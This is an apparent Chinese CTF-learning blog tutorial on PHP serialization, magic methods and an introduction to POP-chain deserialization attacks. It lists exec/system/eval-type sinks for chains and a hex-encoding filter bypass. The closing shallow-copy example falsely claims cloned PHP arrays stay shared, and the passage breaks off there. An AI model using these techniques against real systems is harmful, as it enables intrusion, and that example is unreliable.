php反序列化【所有内容一条龙服务附题目,小白详细】
php反序列化从入门到放弃(入门篇) - bmjoker - 博客园]在这里面学的pop链知识点PHP session反序列化漏洞感觉还是挺详细的可能出现大部分相似内容,但请相信肯定不是照抄,而是有思考的,可能会有所补充和【个人理解部分】哈哈哈哈!!打靶日记-PHPSerialize_phpserialize-labs靶场实验说明-CSDN博客两种数据处理方式, 序列化 和 反序列化。序列化是将P
前言
[php反序列化从入门到放弃(入门篇) - bmjoker - 博客园]在这里面学的pop链知识点
https://xz.aliyun.com/news/6244#toc-2PHP session反序列化漏洞
感觉还是挺详细的https://hello-ctf.com/hc-web/php_unser_base/#_3
可能出现大部分相似内容,但请相信肯定不是照抄,而是有思考的,可能会有所补充和【个人理解部分】
哈哈哈哈!!
感谢打靶日记-PHPSerialize_phpserialize-labs靶场实验说明-CSDN博客,这个打靶日记非常的详细,感谢大佬
介绍!
两种数据处理方式, 序列化 和 反序列化。
- 序列化 是将 PHP 对象转换为字符串的过程,可以使用
serialize()函数来实现。该函数将对象的状态以及它的类名和属性值编码为一个字符串。序列化后的字符串可以存储在文件中,存储在数据库中,或者通过网络传输到其他地方。 - 反序列化 是将序列化后的字符串转换回 PHP 对象的过程,可以使用
unserialize()函数来实现。该函数会将序列化的字符串解码,并将其转换回原始的 PHP 对象。 - 序列化的目的是方便数据的存储,在 PHP 中,他们常被用到缓存、session、cookie 等地方。
数组的反序列化
<?php
$username = array("tan","ji");
$username = serialize($username);
echo ($username. "\n");
print_r(unserialize($username));
var_dump(unserialize($username));
#var_dump 输出变量的类型、值和长度(针对字符串、数组等)
上面对数组的反序列化会输出:
a:2:{i:0;s:3:"tan";i:1;s:2:"ji";} ----- echo ($username. "\n");
Array -------------------------------- print_r(unserialize($username));
(
[0] => tan
[1] => ji
)
array(2) { ---------------------------- var_dump(unserialize($username));
[0]=>
string(3) "tan"
[1]=>
string(2) "ji"
}
#【乍一看蒙蒙的,那么注意,unserialize是解码,所以是将数组的[0]等转换为原来的内容,
而 var_dump是输出内容同时写出类型,如string】
在上面反序列化中的字符中,每个部分代表不同的属性:

普通对象的反序列化
初步
我们先看一个简单的对象示例:
<?php
class User {
public $name;
public function __construct($name) {
$this->name = $name;
}
}
###
这段代码定义了一个名为 User 的类,用于封装用户的基本信息(如姓名),
是面向对象编程(OOP)中“类与实例”的基础示例
public 表示该属性可在类的外部直接访问(如 $user->name`)。 - **作用**:存储用户的姓名
public $name 【应该就是这个name属性是公开的】
__construct 是PHP的构造函数,在创建类的实例(对象)时自动调用。
$this` 表示**当前对象实例**,通过它可以访问对象的属性和方法。
$this->name = $name;将传入的 `$name 参数赋值给对象的 `name` 属性。
该对象允许使用下面的语法创建:
$user = new User("Probius_Official");
下面我们对其进行序列化,并且输出出来:
$serializedData = serialize($user);
echo $serializedData . "\n";
#serialize即为编码,将Php对象变成字符串
可以得到下面的输出:
O:4:"User":1:{s:4:"name";s:16:"Probius_Official";}

此时我们如果采用数组为姓名变量:
$user = new User(array("Probius","Official"));
则再次运行,输出就变成了:
O:4:"User":1:{s:4:"name";a:2:{i:0;s:7:"Probius";i:1;s:8:"Official";}}

进阶
其实拆分开来没那么难理解。
然后我们针对上面的代码,添加点类中的其他属性,如:保护变量 私有变量 自定义函数
<?php
class User {
public $name;
# 公开属性:可在**类内部、子类、类外部**直接访问(如 `$user->name)。
protected $email;
#受保护属性:仅可在**类内部、子类**访问,**外部无法直接调用**(如 `$user->email 会报错)。
private $phoneNumber;
#- 私有属性:仅可在**当前类内部**访问,**子类和外部都无法直接调用**
#(需通过类内方法间接获取)。
public function __construct($name, $email,$phoneNumber) {
$this->name = $name;
$this->email = $email;
$this ->phoneNumber = $phoneNumber;
}
public function getPhoneNumber(){
#用于**间接获取私有属性 `$phoneNumber(因为外部无法直接访问 $phoneNumber`)
echo $this ->phoneNumber;
}
}
$user = new User(array("tan","ji"), 'admin@probius.xyz','19191145148');
#创建 User 对象
#- `$name` 被赋值为数组 `["tan","ji"]`
#- `$email` 被赋值为字符串 `admin@probius.xyz`
#- `$phoneNumber` 被赋值为字符串 `19191145148`
$serializedData = serialize($user);
echo $serializedData . "\n";
#序列化对象
#仅序列化对象的属性值,不包含方法(因为方法是类的模板,对象共享类的方法)。
#若类中存在资源类型(如文件句柄),序列化会失败(资源无法转化为字符串)。
$deserializedUser = unserialize($serializedData);
print_r($deserializedUser -> name);
echo $deserializedUser -> getPhoneNumber();
#反序列化对象
#**访问修饰符的限制**
- 反序列化后的对象,属性的访问权限**与原类一致**:
- 外部仍无法直接访问 `$email`(protected)和 `$phoneNumber`(private),需通过类内方法(如 `getPhoneNumber()`)。
?>
其输出为:
O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}s:8:" * email";s:17:"admin@probius.xyz";s:17:" User phoneNumber";s:11:"19191145148";}
Array
(
[0] => tan
[1] => ji
)
19191145148
为了方便理解,我们这样拆分一下:
O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}---- public $name;
s:8:" * email";s:17:"admin@probius.xyz";---------------------- protected $email;
s:17:" User phoneNumber";s:11:"19191145148";}----------------- private $phoneNumber;
观察不同类型变量名的字符长度标识,你会发现长度和你看到的好像有些不一样,
那是因为在 protected 和 private 类型的变量中都加入了不可见字符:
如果是 protected 变量,则会在变量名前加上\x00*\x00
如果是 private 变量,则会在变量名前加上\x00类名
或许下面控制台的输出比起上面不可见字符变成了类似""空格的字符更直观(虽然也直观不到哪里去。

所以一般我们在输出的时候都会先编码后输出,以免遇到保护和私有类序列化后不可见字符丢失的问题。
O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}---------- public $name;
s:8:"\x00*\x00email";s:17:"admin@probius.xyz";---------------------- protected $email;
s:17:"\x00User\x00phoneNumber";s:11:"19191145148";}----------------- private $phoneNumber;
echo urlencode($serializedData) :
O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22tan%22%3Bi%3A1%3Bs%3A2%3A%22ji%22%3B%7D-------------------------------------------------------------- public $name;
s%3A8%3A%22%00%2A%00email%22%3Bs%3A17%3A%22admin%40probius.xyz%22%3B------- protected $email;
s%3A17%3A%22%00User%00phoneNumber%22%3Bs%3A11%3A%2219191145148%22%3B%7D---- private $phoneNumber;
#
%3A :
%22 "
%00 \x00
...只是举例哦哦
🐖:urlencode
urlencode 是PHP的内置函数,用于将字符串编码为符合URL规范的格式,避免特殊字符(如空格、&、=等)破坏URL结构。将字符串中的非字母数字字符(除 -_.~ 外)转化为 % 加两位十六进制数的形式(如空格→%20,中文→%E4%B8%AD),确保URL传输时的正确性。
基础用法
$str = "Hello World! 你好";
echo urlencode($str); // 输出:Hello+World%21+%E4%BD%A0%E5%A5%BD
###
空格会被编码为 +(或 %20,两种形式URL都支持);
中文等多字节字符会被编码为UTF-8的十六进制形式(如“你好”→%E4%BD%A0%E5%A5%BD)。
常见场景
拼接URL参数
当URL参数包含特殊字符时,必须编码后再拼接:
$keyword = "PHP & 教程";
$url = "https://example.com/search?q=" . urlencode($keyword);
// 结果:https://example.com/search?q=PHP+%26+%E6%95%99%E7%A8%8B
#
%26 &
+ 空格
%E6%95%99%E7%A8%8B 教程
表单提交(GET方法)
浏览器会自动对GET表单的参数进行URL编码,但手动拼接时需显式调用 urlencode。
与 rawurlencode 的区别
|
函数 |
空格处理 |
适用场景 |
|
|
空格→ |
HTML表单提交、URL参数 |
|
|
空格→ |
纯URL路径(如RESTful接口) |
解码时需用 urldecode() 或 rawurldecode(),对应上述两种编码方式。
自定义类的反序列化
如果我们把上面的类改成这样:
<?php
class User implements Serializable {
#Serializable 是PHP的内置接口,用于自定义对象的序列化/反序列化规则
public $name;
protected $email;
private $phoneNumber;
public function __construct($name, $email, $phoneNumber) {
$this->name = $name;
$this->email = $email;
$this->phoneNumber = $phoneNumber;
}
public function serialize() {
return serialize([
'name' => $this->name,
'email' => $this->email,
'phoneNumber' => $this->phoneNumber,
]);
}
public function unserialize($serialized) { //接收序列化后的字符串,手动还原为对象的属性
$data = unserialize($serialized); // 先将字符串还原为关联数组
$this->name = $data['name']; // 先将字符串还原为关联数组
$this->email = $data['email'];
$this->phoneNumber = $data['phoneNumber'];
}
public function getPhoneNumber() {
echo $this->phoneNumber;
}
public function getEmail() {
return $this->email;
}
}
//创建数据
$user = new User(array("tan","ji"), 'admin@probius.xyz', '19191145148');
//将其序列化
$serializedData = serialize($user);
//输出序列化的结果
echo $serializedData . "\n";
//将其反序列化,先将字符串还原为关联数组,
//再将数组的值赋值给新对象 $deserializedUser` 的属性→最终得到与原对象 `$user 完全一致的新对象。
$deserializedUser = unserialize($serializedData);
//访问public属性name(直接输出数组)
//输出:Array ( [0] => tan [1] => ji )
print_r($deserializedUser->name);
//调用方法获取private属性phoneNumber(方法内echo输出)
//输出:19191145148(注意:方法内用echo直接输出,所以这里的".\n"不会生效,因为方法没有return值)
echo $deserializedUser->getPhoneNumber() . "\n";
// 调用方法获取protected属性email(方法return后echo输出)
//输出:admin@probius.xyz
echo $deserializedUser->getemail() . "\n";
#######################################################################
Serializable 是PHP的内置接口,包含两个必须实现的方法:
serialize():自定义对象→字符串的转化逻辑(替代默认序列化)。
**unserialize($data)`**:自定义字符串→对象的还原逻辑(替代默认反序列化)。
########################################################################
自定义的反序列化
先将需要序列化的属性打包成关联数组(这里包含所有3个属性);
再用 serialize() 函数将数组转化为字符串(最终返回的是数组的序列化结果,
而非对象的默认序列化结果)。
########################################################################
Serializable` 与默认序列化的区别**
- **默认序列化**:会包含类的所有属性(包括private/protected),
格式为 `O:4:"User":3:{...}`(`O` 表示Object);
- **自定义序列化**:格式为 `C:4:"User":85:{...}`(`C` 表示Custom),
内容由 `serialize()` 方法决定(这里是数组的序列化结果)。
########################################################################
User类代码执行全流程(按顺序)
1. 定义User类并实现Serializable接口
代码首先声明User类,并通过implements Serializable表明该类需要自定义序列化/反序列化逻辑。
2. 初始化对象属性
类内定义3个属性,权限分别为public/protected/private:
public $name`:公开属性,外部可直接访问 -
`protected $email:受保护属性,仅类内、子类可访问
private $phoneNumber`:私有属性,仅当前类内可访问
3. 调用构造方法创建对象**
执行`$user = new User(["tan","ji"], 'admin@probius.xyz', '19191145148');:
传入3个参数,构造方法__construct将参数分别赋值给$name`/`$email/$phoneNumber` -
此时`$user对象的属性值为:name=["tan","ji"]、email="admin@probius.xyz"、phoneNumber="19191145148"
4. 自定义序列化对象
执行$serializedData = serialize($user);:
自动触发类内的serialize()方法(替代默认序列化)
方法内将3个属性打包成关联数组,再用serialize()函数转化为字符串
最终$serializedData`存储**自定义序列化后的字符串**(格式为`C:4:"User":85:{...}`)
5. 输出序列化结果** 执行`echo $serializedData . "\n";:
直接打印第4步生成的序列化字符串
6. 自定义反序列化字符串
执行$deserializedUser = unserialize($serializedData);:
自动触发类内的unserialize()方法(替代默认反序列化)
方法内先将字符串还原为关联数组,再将数组值赋值给新对象$deserializedUser`的属性 -
最终得到与原对象`$user完全一致的新对象
7. 访问反序列化后的对象
执行3行访问代码:
print_r($deserializedUser->name);`
→ 直接访问public属性`$name,输出数组["tan","ji"]
echo $deserializedUser->getPhoneNumber() . "\n";`
→ 调用方法获取private属性`$phoneNumber,输出19191145148
echo $deserializedUser->getemail() . "\n";`
→ 调用方法获取protected属性`$email(方法名大小写不敏感),输出admin@probius.xyz
###############################################################################
核心逻辑链:
定义类 → 创建对象 → 自定义序列化 → 输出序列化结果 → 自定义反序列化 → 访问新对象
################################################################################
implements
PHP中用于类实现接口的关键字,作用是强制类遵守接口定义的“契约”
class 类名 implements 接口名1, 接口名2 {
// 必须实现所有接口中声明的方法
}
Serializable 是PHP内置的标准接口,仅声明了两个方法:serialize() 和 unserialize($data)
implements Serializable 强制 User 类必须实现这两个方法,否则代码无法运行
在 User 类中,通过 class User implements Serializable 中的 Serializable 接口,
我们可以定义 serialize() 和 unserialize() 两个方法,实现控制类实例在序列化和反序列化过程中的行为。
这两个方法分别负责将类实例的属性序列化为字符串和从字符串中还原属性。
当我们使用全局的 serialize() 和 unserialize() 函数时,这些方法会自动调用,从而让我们更好地控制序列化和反序列化过程。这也是该类型的类叫做 "CustomObject" 的原因。
当我们运行上面的程序时,控制台输出如下:
C:4:"User":125:{a:3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}s:5:"email";s:17:"admin@probius.xyz";s:11:"phoneNumber";s:11:"19191145148";}} ---------------------------------------------------- echo $serializedData . "\n";
Array ------------------------------------------------ print_r($deserializedUser->name);
(
[0] => tan
[1] => ji
)
19191145148 ------------------------------------------ echo $deserializedUser->getPhoneNumber() . "\n";
admin@probius.xyz ------------------------------------ echo $deserializedUser->getemail() . "\n";
其格式大致为:C:<className length>:"<class name>":<data length>:{<data>}
为了方便理解,我们这样同样拆分一下:

其他标识
除了上面常见的几个序列化字母标识外,还有其他标识 , 这里我们一起总结一下:
1. a:array 数组
echo serialize(array(1,2)); --- a:2:{i:0;i:1;i:1;i:2;}
2. b:boolean bool 值
echo serialize(true); ---- b:1;
echo serialize(false); ---- b:0;
3. C:custom object 自定义对象序列化
使用 Serializable 接口定义了序列化和反序列化方法的类
class yourClassName implements Serializable
4. d:double 小数
echo serialize(1.1); ---- d:1.1;
5. i:integer 整数
echo serialize(114); ---- i:114;
6. o:commonObject 对象
似乎在php4的时候就弃用了
7. O:Object 对象
class a{}
echo serialize(new a());
------ O:1:"a":0:{}
8. r:reference 对象引用 && R:pointer reference 指针引用
<?php
class A{
}
class B{
public $ClassA;
public $refer;
public $pointer;
public function __construct(){
$this->ClassA = new A();
$this->refer = $this->ClassA;
$this->pointer = &$this->ClassA;
}
}
$a = new B();
echo serialize($a);
控制台输出:
O:1:"B":3:
{
s:6:"ClassA";O:1:"A":0:{}
s:5:"refer";r:2;
s:7:"pointer";R:2;
}

此外,引用对象的属性值取决于声明顺序。
<?php
class A{
}
class C{
}
class B{
public $ClassA;
public $ClassC;
public $pointer_1;
public $pointer_2;
public $refer;
public function __construct(){
$this->ClassA = new A();
$this->ClassC = new C();
$this->refer = $this->ClassA;
$this->pointer_1 = &$this->ClassA;
$this->pointer_2 = &$this->ClassC;
}
}
$a = new B();
echo serialize($a);
// ----------------------- 当改变ClassA / C 的声明顺序的时候输出如下:
// O:1:"B":5:{s:6:"ClassC";O:1:"C":0:{}s:6:"ClassA";O:1:"A":0:{}s:9:"pointer_1";R:3;s:9:"pointer_2";R:2;s:5:"refer";r:3;}
// O:1:"B":5:{s:6:"ClassA";O:1:"A":0:{}s:6:"ClassC";O:1:"C":0:{}s:9:"pointer_1";R:2;s:9:"pointer_2";R:3;s:5:"refer";r:2;}
9. s:string 字符串
class a{}
echo serialize(new a());
------ O:1:"a":0:{}
10. S:encoded string
S:1:"\61"; --- 可以将16进制编码成字符,可以进行绕过特定字符
11. N:null NULL 值
echo serialize(NULL); --- N;
魔术方法
在 PHP 的序列化中,魔术方法(Magic Methods)是一组特殊的方法,这些方法以双下划线(__)作为前缀,可以在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。
为什么被称为魔法方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。
你可以在 PHP 官方文档中查找到对应魔术方法的定义和使用方法:PHP: 魔术方法 - Manual
一般在题目中常见的几个方法如下:
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发
__invoke() //------ 当尝试将对象调用为函数时触发
一份比较全面的表格:
|
magicMethods |
attribute |
|
__construct |
当一个对象被创建时自动调用这个方法,可以用来初始化对象的属性。 |
|
__destruct |
当一个对象被销毁时自动调用这个方法,可以用来释放对象占用的资源。 |
|
__call |
在对象中调用一个不存在的方法时自动调用这个方法,可以用来实现动态方法调用。 |
|
__callStatic |
在静态上下文中调用一个不存在的方法时自动调用这个方法,可以用来实现动态静态方法调用。 |
|
__get |
当一个对象的属性被读取时自动调用这个方法,可以用来实现属性的访问控制。 |
|
__set |
当一个对象的属性被设置时自动调用这个方法,可以用来实现属性的访问控制。 |
|
__isset |
当使用 isset() 或 empty() 测试一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。 |
|
__unset |
当使用 unset() 删除一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。 |
|
__toString |
当一个对象被转换为字符串时自动调用这个方法,可以用来实现对象的字符串表示。 |
|
__invoke |
当一个对象被作为函数调用时自动调用这个方法,可以用来实现对象的可调用性。 |
|
__set_state |
当使用 var_export() 导出一个对象时自动调用这个方法,可以用来实现对象的序列化和反序列化。 |
|
__clone |
当一个对象被克隆时自动调用这个方法,可以用来实现对象的克隆。 |
|
__debugInfo |
当使用 var_dump() 或 print_r() 输出一个对象时自动调用这个方法,可以用来控制对象的调试信息输出。 |
|
__sleep |
在对象被序列化之前自动调用这个方法,可以用来控制哪些属性被序列化。 |
|
__wakeup |
在对象被反序列化之后自动调用这个方法,可以用来重新初始化对象的属性。 |
PHP 官方文档已经很详细了,这里不在赘述,不一定需要学会所有的函数,除开常见的,其他的在遇到的时候查阅即可。
额外提一下__tostring的具体触发场景:
(1) echo($obj) / print($obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候

注意
- __sleep() 只能返回数组
__sleep()和__wakeup()的补充说明
serialize() 检查类中是否有魔术名称 __sleep的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。
使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。
相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。
使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。
【一个清除,一个重新创建】
属性重载¶
- 在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。
- 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。
- 当对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时,__isset() 会被调用。
- 当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。
函数详细
1.__construct()
构造函数__construct(),在实例化一个对象的时候,首先会去自动执行该方法
<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben"); //实例化对象时触发构造函数__construct()
$ser = serialize($test); //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?>
2、__destruct()
析构函数__destruct(),在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法
<?php
class User {
public function __destruct()
{
echo "触发了析构函数1次";
}
}
$test = new User("benben"); //实例化对象结束后,代码运行完会销毁,触发析构函数_destruct()
$ser = serialize($test); //在序列化过程中不会触发
unserialize($ser); //在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
?>
以上代码总共触发两次析构函数,
第一次为实例化对象后,代码运行完会,对象会被销毁,触发析构函数_destruct();
第二次在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
3、__sleep()
在进行序列化时,serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组。然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个 E_NOTICE级别的错误。
E_NOTICE - 运行时提醒(这些经常是是你的代码的bug引起的),
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
//sleep执行返回需要序列化的属性名,过滤掉password变量
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
//serialize()只序列化sleep返回的变量,
//序列化之后的字符串:O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
?>
4、__weakup()
在进行反序列化时,unserialize()函数会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法。可以在此方法中重新初始化对象状态。
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
//反序列化之前触发_wakeup(),给password赋值
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
// 字符串中并没有password
var_dump(unserialize($user_ser));
// object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }
?>
__wakeup()在反序列化unserialize()之前被调用__destruct()在反序列化unserialize()之后被调用
5、__toString()
当使用echo或print输出对象将对象转化为字符串形式,或者将一个“对象”与“字符串”进行拼接时,会调用__toString()方法
<?php
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ; // 把类User实体化并赋值给$test,此时$test是个对象
print_r($test);
// 打印输出对象可以使用print_r或者var_dump,
//该对象输出后为:User Object( [benben] => this is test!!)
echo $test;
// 如果使用echo或者print只能调用字符串的方式去调用对象,
//即把对象当成字符串使用,此时自动触发toString()
?>
6、__invoke()
当将一个对象作为函数进行调用时会触发__invoke()函数。
<?php
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ; //把类User实例化为对象并赋值给$test
echo $test ->benben; //正常输出对象里的值benben
$test(); //加()是把test当成函数test()来调用,此时触发_invoke()
?>
7、__call()
当调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数。
<?php
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a','b','c');
//调用的方法callxxx()不存在,触发魔术方法call(),
//传参(callxxx,a);$arg1:调用的不存在的方法的名称;$arg2:调用的不存在的方法的参数;
?>
__call(string $function_name, array $arguments)该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。
8、__callStatic()
当调用不存在或不可见的静态方法时,会自动调用__callStatic()方法,传递方法名和参数数组作为参数。
<?php
class User {
public static function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
//静态调用使用"::",静态调用方法callxxx(),由于其不存在,所以触发__callStatic,
//传参(callxxx,a),输出:callxxx,a
?>
9、__set()
__set($name, $value)函数,给一个对象的不存在或不可访问(private修饰)的属性赋值时,PHP就会执行__set()方法。
__set()方法包含两个参数,$name表示变量名称,$value表示变量值,两个参数不可省略。
<?php
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test->var2=1;
//给不存在的成员属性var2赋值为1,自动触发__set()方法;
//如果有__get(),先调用__get(),再调用__set(),输出:var2,1
?>
10、__get()
__get($name)函数,当程序访问一个未定义或不可见的成员变量时,PHP就会执行 __get()方法来读取变量值。__get()方法有一个参数,表示要调用的变量名。
<?php
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
//调用的成员属性var2不存在,触发__get(),把不存在的属性的名称var2赋值给$arg1,输出:var2
?>
11、__isset()
当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。
<?php
class User {
private $var;
public function __isset($arg1)
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
// 调用的成员属性var不可访问,并对其使用isset()函数或empty()函数,触发__isset(),输出:var
?>
12、__unset()
当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。
<?php
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
// 调用的成员属性var不可访问,并对其使用unset()函数,触发__unset(),输出:var
?>
13、__clone()
当使用 clone 关键字复制一个对象时自动调用。
<?php
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test) // 输出__clone test
?>
php反序列化利用——POP链的构造
当漏洞/危险代码存在类的普通方法中,就不能指望通过"自动调用"来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。
POP链简介
什么是 POP(面向属性编程)?
简单来说,POP 是一种利用程序中已有的对象属性和方法,像搭积木一样构造“调用链”来控制程序执行流程的技术。它的核心思路是:不自己写新代码,而是“借”程序里已经存在的功能,组合出我们想要的效果。
用「生活场景」理解 POP
想象你要完成“用手机点外卖”这个任务,但你没有直接操作手机的权限,只能通过手机里已有的功能按钮来组合实现:
- 先找到“打开外卖App”的按钮 → 2. 找到“搜索披萨”的按钮 → 3. 找到“下单支付”的按钮
这三个按钮本身是手机里已经存在的功能,你通过按顺序点击它们(构造调用链),最终完成了“点外卖”的目标——这就是 POP 的核心逻辑:利用现有组件,组合出目标流程。
编程中的 POP 怎么用?(以反序列化漏洞为例)
在编程里,POP 常用于安全领域的漏洞利用(比如你之前接触的 PHP 反序列化漏洞),核心是找到对象中已有的“属性/方法”,构造调用链来绕过保护机制。
以你熟悉的 FLAG 类为例,假设我们要实现“获取真实 flag”的目标,POP 的思路是这样的:
- 找“可用的属性/方法”:
程序里已经有 __destruct()(会输出 flag)、__wakeup()(会清空 flag)这两个方法。
- 构造调用链:我们需要“跳过
__wakeup()→ 执行__destruct()”。 - 利用漏洞实现链:通过篡改序列化字符串的“属性数量”(这是程序中已有的“可被篡改的输入点”),触发漏洞跳过
__wakeup(),最终让__destruct()输出未被清空的 flag。
这个过程中,我们没有修改任何类的代码,只是利用了程序中已有的“属性数量校验漏洞”和“对象的生命周期方法”,组合出了我们想要的执行流程——这就是编程中的 POP。
【这个其实就是下面的第十一题,利用的就是这个思路】
总结:POP 的核心特点
- “借力打力”:不创造新功能,只利用程序中已有的对象、属性、方法。
- “链式组合”:把多个零散的功能,按顺序串成一条“调用链”,实现复杂目标。
- “控制流程”:最终目的是让程序按照我们设计的顺序执行(比如绕过保护、执行特定操作)。
你可以把 POP 理解成编程界的“搭积木”:用现成的积木块(属性/方法),拼出你想要的形状(目标功能)~ 🧩
1. POP 面向属性编程(Property-Oriented Programing)
常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的"gadget"找到漏洞点。
2. POP CHAIN
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
POP链利用技巧
1. 一些有用的POP链中出现的方法:
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
- 代码执行:eval()、assert()、call_user_func()
2. 反序列化中为了避免信息丢失,使用大写S支持字符串的编码。
PHP为了更加方便进行反序列化Payload的传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";
3. 深浅copy
什么是 深浅拷贝(Shallow Copy vs Deep Copy)?
深浅拷贝是复制对象时的两种不同方式,
核心区别在于:是否复制对象内部的“引用类型数据”(比如数组、另一个对象)。
一、浅拷贝(Shallow Copy):只复制“表面”
浅拷贝会复制对象本身,但不会复制对象内部的引用类型数据——也就是说,原对象和拷贝对象共享同一个引用类型的“内部数据”。
例子(PHP 代码):
class User {
public $name;
public $hobbies; // 引用类型(数组)
public function __construct($name, $hobbies) {
$this->name = $name;
$this->hobbies = $hobbies;
}
}
// 原对象
$user1 = new User("Alice", ["Reading", "Hiking"]);
// 浅拷贝(用 clone 关键字)
$user2 = clone $user1;
// 修改拷贝对象的引用类型属性
$user2->hobbies[] = "Cooking";
// 结果:原对象的 hobbies 也被修改了!
echo "原对象 hobbies:" . implode(", ", $user1->hobbies);
// 输出:Reading, Hiking, Cooking
echo "拷贝对象 hobbies:" . implode(", ", $user2->hobbies);
// 输出:Reading, Hiking, Cooking
